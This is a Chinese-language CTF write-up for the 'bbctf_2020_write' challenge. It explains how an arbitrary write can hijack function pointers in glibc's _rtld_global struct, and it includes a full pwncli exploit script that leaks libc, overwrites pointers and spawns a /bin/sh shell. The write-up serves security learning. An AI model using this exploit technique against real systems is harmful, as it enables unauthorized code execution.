bbctf_2020_write

总结

题目可以任意地址写任意值,但是没有退出,因此可以考虑劫持rtld_global结构体中的一些函数指针。

  • 利用exit函数的两个hook,同时观察寄存器状态,构造system("/bin/sh")shell
  • 这里出现的rtld_global结构体,可以伪造,可以修改。比如在house of banana中就能利用。远程中该结构体的低2字节需要爆破一下。两个函数指针的偏移分别为0xf000xf08

Exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']

def write(addr:int, content:(str, bytes)):
    assert len(content) % 8 == 0, "len error!"
    for i in range(0, len(content), 8):
        p.sendlineafter("(q)uit\n", 'w')
        p.sendlineafter("ptr: ", str(addr + i))
        p.sendlineafter("val: ", str(u64(content[i:i+8])))

libc.address = int16((p.recvline()[6:-1]).decode()) - libc.sym['puts']

stack_addr = int16((p.recvline()[7:-1]).decode())
log_address("libc_base_addr", libc.address)
log_address("stack addr", stack_addr)

rtld_global_addr = libc.address +  0x619060
log_address("rtld_global_addr", rtld_global_addr)

write(rtld_global_addr+0x908, "/bin/sh\x00")
write(rtld_global_addr+0xf00, p64(libc.sym['system']))

p.sendlineafter("(q)uit\n", 'q')
p.interactive()

劫持效果如下:

image-20210821125950510

image-20210821130037574

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%